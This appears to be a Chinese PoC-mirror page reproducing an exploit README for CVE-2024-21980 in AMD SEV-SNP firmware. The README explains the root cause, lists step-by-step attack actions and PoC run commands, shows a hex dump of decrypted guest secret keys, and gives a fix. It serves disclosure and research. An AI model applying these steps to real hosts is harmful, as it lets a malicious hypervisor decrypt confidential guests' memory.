POC详情: 7018c7d618cac2ee92c65dbeb6f73eefd56c8c3d

来源
关联漏洞
标题: AMD SEV-SNP 安全漏洞 (CVE-2024-21980)
描述:AMD SEV-SNP是美国超威半导体(AMD)公司的一个安全加密虚拟化固件。使用单个密钥来加密系统内存。 AMD SEV-SNP存在安全漏洞,该漏洞源于写入操作的不当限制允许恶意管理程序潜在地覆盖来宾的内存或UMC种子,从而导致机密性和完整性丢失。
介绍
# SEV Firmware Vulnerability

This repo contains an exploit for a vulnerability in the SEV firmware. The exploit allows decrypting arbitrary memory of an SEV-SNP guest after it's been decommissioned.

Tested on version 1.55.16 (latest as of time of writing).

## Root Cause

The SEV firmware has a table called `master_handler_table` containing function pointers for all commands with a few more properties relevant for the commands. Two of those additional properties are `cmd_buf_type` and `snp_cmd_buf_enforcement`. `cmd_buf_type` determines whether the command buffer should be copied to and/or from host memory. `snp_cmd_buf_enforcement` determines whether these copy operations should be subject to checks verifying that memory backing the command buffer is in the `FIRMWARE` or `DEFAULT` state. Commands for which `cmd_buf_type` is either `CMD_BUF_OUTPUT_ONLY`, `CMD_BUF_INPUT_AND_OUTPUT`, or `CMD_BUF_INPUT_AND_OUTPUT_ERROR` should all have `snp_cmd_buf_enforcement` be set to true. Otherwise writing back the command output could cause memory corruption inside the RMP covered area. `snp_cmd_buf_enforcement` is true for all such commands with one exception -  [`SEV_MCMD_ID_ATTESTATION`](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_dispatch.c#L67): This command has `cmd_buf_type` set to `CMD_BUF_INPUT_AND_OUTPUT_ERROR`, but also has `snp_cmd_buf_enforcement` set to false. As a result it's possible to execute `SEV_MCMD_ID_ATTESTATION` with a command buffer pointing at RMP-covered memory and have that memory be corrupted once the output is written back.

It don't see why `SEV_MCMD_ID_ATTESTATION` would need to be an exception, it seems plausible to me that this could be a typo/copy-paste mistake.

## Exploit

`SEV_MCMD_ID_ATTESTATION` only writes to a single field `length` (4 bytes) in the command buffer and so those are the only bytes we can use to corrupt memory. `SEV_MCMD_ID_ATTESTATION` always writes the same value - `0x000000d0`. Fortunately there are no alignment requirements on the command buffer and so we can shift the command buffer repeatedly to corrupt a larger range of contigious memory. We'll use this to corrupt the first 16 bytes of a guest context page with a static pattern. Those first 16 bytes contain the UMC key seed and so by forcing it to a static value, we can force the guest's encryption key to a static value.

The exploit provided here is heavily based on the one I provided for SWPSIRT-2684/CVE-2023-31355.

To exploit the vulnerability we can execute the following steps:
1. Launch an SEV or SEV-ES guest. This is needed for `SEV_MCMD_ID_ATTESTATION`. Keep this guest running.
2. Create a guest context page at address `0x2000` for the victim guest. Any other address in the RMP covered area would also do though a fixed address is useful for debugging.
3. Use the vulnerability to corrupt the victim guest's UMC key seed.
4. Activate the victim guest context page and launch and run the victim guest.
5. Decomission the victim guest.
6. Create a guest context page at address `0x2000` for the attacker guest. This has to be the same address used in step 1.
7. Use the vulnerability to corrupt the attacker guest's UMC key seed.
8. Activate the attacker guest context page and launch with the debug flag enabled.
9. Assign the victim guest's memory to the attacker guest.
10. Use the `SNP_DBG_ENCRYPT` command to decrypt the victim guest's memory using the attacker guest's context page. This will succeed because the victim guest and the attacker guest share a UMC key seed.

## Impact

The impact here should be at least the same as with SWPSIRT-2684. It's unclear to me at this time if this bug can be used to decrypt memory of a running guest before it's been decommissioned.

## Mitigation

`snp_cmd_buf_enforcement` should be set to true for `SEV_MCMD_ID_ATTESTATION`.

Interestingly the Linux KVM host support patches do not need to be updates because they already list [`SEV_CMD_ATTESTATION_REPORT`](https://github.com/AMDESE/linux/blob/a72c8c30a3d99ff6cc3c48682a40faff7575165b/drivers/crypto/ccp/sev-dev.c#L818) in `sev_cmd_buf_writable` as a command that requires its command buffer to be in the `FIRMWARE` state. Changes may or may not be needed for other hypervisors.

## PoC Usage

1. Change the RMP covered area in the BIOS to 64GiB (0x10000 1-MiB pages). If your system doesn't support that, the Linux patches will have to be adjusted accordingly. The PoC has been tested on a system with 128GiB of memory.
2. Apply the patches in the linux-patches folder to the tip of https://github.com/AMDESE/linux/commits/snp-host-v10. Build, install and boot the kernel.
3. Launch a SEV or SEV-ES guest and keep it running.
4. Launch a victim SEV-SNP guest.
5. Stop the victim guest.
7. Inspect the kernel logs to find the location of the secret page created during launch.
   ```
   root@server:~# dmesg | grep "kvm_amd: Detected secret page"
   [  463.851449] kvm_amd: Detected secret page at pfn 171a24
   ```
8. Run the PoC.
   ```
   root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
       Finished dev [unoptimized + debuginfo] target(s) in 0.03s
   Creating VM with identical UMC key seed
   Raw page:
   000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
   020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
   040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
   060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
   080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
   0a0: 0000000000000000000000000000000000000000000000000000000000000000
   0c0: 0000000000000000000000000000000000000000000000000000000000000000
   0e0: 0000000000000000000000000000000000000000000000000000000000000000
   100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
   120: 0000000000000000000000000000000000000000000000000000000000000000
   140: 0000000000000000000000000000000000000000000000000000000000000000
   160: c800000000000000000000000000000000000000000000000000000000000000
   180: 0000000000000000000000000000000000000000000000000000000000000000
   1a0: 0000000000000000000000000000000000000000000000000000000000000000
   1c0: 0000000000000000000000000000000000000000000000000000000000000000
   1e0: 0000000000000000000000000000000000000000000000000000000000000000
   200: 0000000000000000000000000000000000000000000000000000000000000000
   220: 0000000000000000000000000000000000000000000000000000000000000000
   240: 0000000000000000000000000000000000000000000000000000000000000000
   260: 0000000000000000000000000000000000000000000000000000000000000000
   280: 0000000000000000000000000000000000000000000000000000000000000000
   2a0: 0000000000000000000000000000000000000000000000000000000000000000
   2c0: 0000000000000000000000000000000000000000000000000000000000000000
   2e0: 0000000000000000000000000000000000000000000000000000000000000000
   300: 0000000000000000000000000000000000000000000000000000000000000000
   320: 0000000000000000000000000000000000000000000000000000000000000000
   340: 0000000000000000000000000000000000000000000000000000000000000000
   360: 0000000000000000000000000000000000000000000000000000000000000000
   380: 0000000000000000000000000000000000000000000000000000000000000000
   3a0: 0000000000000000000000000000000000000000000000000000000000000000
   3c0: 0000000000000000000000000000000000000000000000000000000000000000
   3e0: 0000000000000000000000000000000000000000000000000000000000000000
   400: 0000000000000000000000000000000000000000000000000000000000000000
   420: 0000000000000000000000000000000000000000000000000000000000000000
   440: 0000000000000000000000000000000000000000000000000000000000000000
   460: 0000000000000000000000000000000000000000000000000000000000000000
   480: 0000000000000000000000000000000000000000000000000000000000000000
   4a0: 0000000000000000000000000000000000000000000000000000000000000000
   4c0: 0000000000000000000000000000000000000000000000000000000000000000
   4e0: 0000000000000000000000000000000000000000000000000000000000000000
   500: 0000000000000000000000000000000000000000000000000000000000000000
   520: 0000000000000000000000000000000000000000000000000000000000000000
   540: 0000000000000000000000000000000000000000000000000000000000000000
   560: 0000000000000000000000000000000000000000000000000000000000000000
   580: 0000000000000000000000000000000000000000000000000000000000000000
   5a0: 0000000000000000000000000000000000000000000000000000000000000000
   5c0: 0000000000000000000000000000000000000000000000000000000000000000
   5e0: 0000000000000000000000000000000000000000000000000000000000000000
   600: 0000000000000000000000000000000000000000000000000000000000000000
   620: 0000000000000000000000000000000000000000000000000000000000000000
   640: 0000000000000000000000000000000000000000000000000000000000000000
   660: 0000000000000000000000000000000000000000000000000000000000000000
   680: 0000000000000000000000000000000000000000000000000000000000000000
   6a0: 0000000000000000000000000000000000000000000000000000000000000000
   6c0: 0000000000000000000000000000000000000000000000000000000000000000
   6e0: 0000000000000000000000000000000000000000000000000000000000000000
   700: 0000000000000000000000000000000000000000000000000000000000000000
   720: 0000000000000000000000000000000000000000000000000000000000000000
   740: 0000000000000000000000000000000000000000000000000000000000000000
   760: 0000000000000000000000000000000000000000000000000000000000000000
   780: 0000000000000000000000000000000000000000000000000000000000000000
   7a0: 0000000000000000000000000000000000000000000000000000000000000000
   7c0: 0000000000000000000000000000000000000000000000000000000000000000
   7e0: 0000000000000000000000000000000000000000000000000000000000000000
   800: 0000000000000000000000000000000000000000000000000000000000000000
   820: 0000000000000000000000000000000000000000000000000000000000000000
   840: 0000000000000000000000000000000000000000000000000000000000000000
   860: 0000000000000000000000000000000000000000000000000000000000000000
   880: 0000000000000000000000000000000000000000000000000000000000000000
   8a0: 0000000000000000000000000000000000000000000000000000000000000000
   8c0: 0000000000000000000000000000000000000000000000000000000000000000
   8e0: 0000000000000000000000000000000000000000000000000000000000000000
   900: 0000000000000000000000000000000000000000000000000000000000000000
   920: 0000000000000000000000000000000000000000000000000000000000000000
   940: 0000000000000000000000000000000000000000000000000000000000000000
   960: 0000000000000000000000000000000000000000000000000000000000000000
   980: 0000000000000000000000000000000000000000000000000000000000000000
   9a0: 0000000000000000000000000000000000000000000000000000000000000000
   9c0: 0000000000000000000000000000000000000000000000000000000000000000
   9e0: 0000000000000000000000000000000000000000000000000000000000000000
   a00: 0000000000000000000000000000000000000000000000000000000000000000
   a20: 0000000000000000000000000000000000000000000000000000000000000000
   a40: 0000000000000000000000000000000000000000000000000000000000000000
   a60: 0000000000000000000000000000000000000000000000000000000000000000
   a80: 0000000000000000000000000000000000000000000000000000000000000000
   aa0: 0000000000000000000000000000000000000000000000000000000000000000
   ac0: 0000000000000000000000000000000000000000000000000000000000000000
   ae0: 0000000000000000000000000000000000000000000000000000000000000000
   b00: 0000000000000000000000000000000000000000000000000000000000000000
   b20: 0000000000000000000000000000000000000000000000000000000000000000
   b40: 0000000000000000000000000000000000000000000000000000000000000000
   b60: 0000000000000000000000000000000000000000000000000000000000000000
   b80: 0000000000000000000000000000000000000000000000000000000000000000
   ba0: 0000000000000000000000000000000000000000000000000000000000000000
   bc0: 0000000000000000000000000000000000000000000000000000000000000000
   be0: 0000000000000000000000000000000000000000000000000000000000000000
   c00: 0000000000000000000000000000000000000000000000000000000000000000
   c20: 0000000000000000000000000000000000000000000000000000000000000000
   c40: 0000000000000000000000000000000000000000000000000000000000000000
   c60: 0000000000000000000000000000000000000000000000000000000000000000
   c80: 0000000000000000000000000000000000000000000000000000000000000000
   ca0: 0000000000000000000000000000000000000000000000000000000000000000
   cc0: 0000000000000000000000000000000000000000000000000000000000000000
   ce0: 0000000000000000000000000000000000000000000000000000000000000000
   d00: 0000000000000000000000000000000000000000000000000000000000000000
   d20: 0000000000000000000000000000000000000000000000000000000000000000
   d40: 0000000000000000000000000000000000000000000000000000000000000000
   d60: 0000000000000000000000000000000000000000000000000000000000000000
   d80: 0000000000000000000000000000000000000000000000000000000000000000
   da0: 0000000000000000000000000000000000000000000000000000000000000000
   dc0: 0000000000000000000000000000000000000000000000000000000000000000
   de0: 0000000000000000000000000000000000000000000000000000000000000000
   e00: 0000000000000000000000000000000000000000000000000000000000000000
   e20: 0000000000000000000000000000000000000000000000000000000000000000
   e40: 0000000000000000000000000000000000000000000000000000000000000000
   e60: 0000000000000000000000000000000000000000000000000000000000000000
   e80: 0000000000000000000000000000000000000000000000000000000000000000
   ea0: 0000000000000000000000000000000000000000000000000000000000000000
   ec0: 0000000000000000000000000000000000000000000000000000000000000000
   ee0: 0000000000000000000000000000000000000000000000000000000000000000
   f00: 0000000000000000000000000000000000000000000000000000000000000000
   f20: 0000000000000000000000000000000000000000000000000000000000000000
   f40: 0000000000000000000000000000000000000000000000000000000000000000
   f60: 0000000000000000000000000000000000000000000000000000000000000000
   f80: 0000000000000000000000000000000000000000000000000000000000000000
   fa0: 0000000000000000000000000000000000000000000000000000000000000000
   fc0: 0000000000000000000000000000000000000000000000000000000000000000
   fe0: 0000000000000000000000000000000000000000000000000000000000000000
   
   Secrets page:
   imi_en: false
   FMS: 00a00f11
   gosvw: 000000000000000000000000a98d95ff
   vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
   vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
   vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
   vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
   VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
   tsc_factor: 200
   ```
   Note that there's nothing special about secret pages, this exploit can also be used to decrypt normal pages. Secret pages are used in the PoC because they have very recognizable content that makes it easy to see that decryption of victim memory has succeeded.
文件快照

[4.0K] /data/pocs/7018c7d618cac2ee92c65dbeb6f73eefd56c8c3d ├── [ 13K] Cargo.lock ├── [ 585] Cargo.toml ├── [4.0K] linux-patches │   ├── [1.2K] 0001-don-t-fail-if-some-memory-isn-t-covered-by-the-RMP.patch │   ├── [ 992] 0002-don-t-mark-0-as-hypervisor-fixed.patch │   ├── [1.0K] 0003-always-use-address-0-for-guest-context-pages.patch │   ├── [2.0K] 0004-add-definitions-for-the-ring-buffer-command.patch │   ├── [6.7K] 0005-implement-attack-code.patch │   ├── [1.1K] 0006-log-leak-locations-of-secret-pages.patch │   └── [2.8K] 0007-add-ioctl-for-decrypting-pfns.patch ├── [ 15K] README.md └── [4.0K] src ├── [5.1K] kvm.rs ├── [2.5K] main.rs ├── [4.0K] snp_types │   ├── [2.1K] guest_policy.rs │   └── [1.2K] secrets.rs └── [ 937] snp_types.rs 3 directories, 15 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。